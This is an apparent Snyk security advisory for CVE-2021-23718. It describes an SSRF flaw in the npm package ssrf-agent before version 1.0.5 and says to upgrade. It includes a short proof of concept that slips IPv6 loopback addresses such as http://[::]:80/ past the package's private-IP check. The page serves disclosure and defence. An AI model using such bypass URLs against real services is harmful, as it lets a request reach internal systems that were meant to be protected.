

Server-side Request Forgery (SSRF)

Affecting [ssrf-agent](#) package, versions <1.0.5

INTRODUCED: 13 SEP 2021 [CVE-2021-23718](#) [CWE-918](#) [FIRST ADDED BY SNYK](#)

Share

How to fix?

Upgrade `ssrf-agent` to version 1.0.5 or higher.

Overview

`ssrf-agent` is a prevent SSRF in http(s) request

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the `defaultIpChecker` function. It fails to properly validate if the IP requested is private.

PoC by Sayooj B Kumar

```
// run a service on your localhost const ssrfAgent = require('ssrf-agent'); const request = require('request'); // with request module const url = 'http://[::]:80/' /* or http://0000::1:80/ */ request(url, { agent: ssrfAgent(url) }, (err, response, body) => { console.log(response); })
```

References

- [Vulnerable Code](#)

MEDIUM

Search by package name or CVE

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
User Interaction	Required
Confidentiality	HIGH

[See more](#)

> NVD

7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-SSRFAGENT-1584362
Published	17 Nov 2021
Disclosed	13 Sep 2021
Credit	Sayooj B Kumar

Report a new vulnerability

Found a mistake?

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

[Documentation](#)

[Disclosed Vulnerabilities](#)

[Blog](#)

[FAQs](#)

COMPANY

[About](#)

[Jobs](#)

[Contact](#)

[Policies](#)

[Do Not Sell My Personal Information](#)

CONTACT US

[Support](#)

[Report a new vuln](#)

[Press Kit](#)

[Events](#)

FIND US ONLINE

TRACK OUR DEVELOPMENT



© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.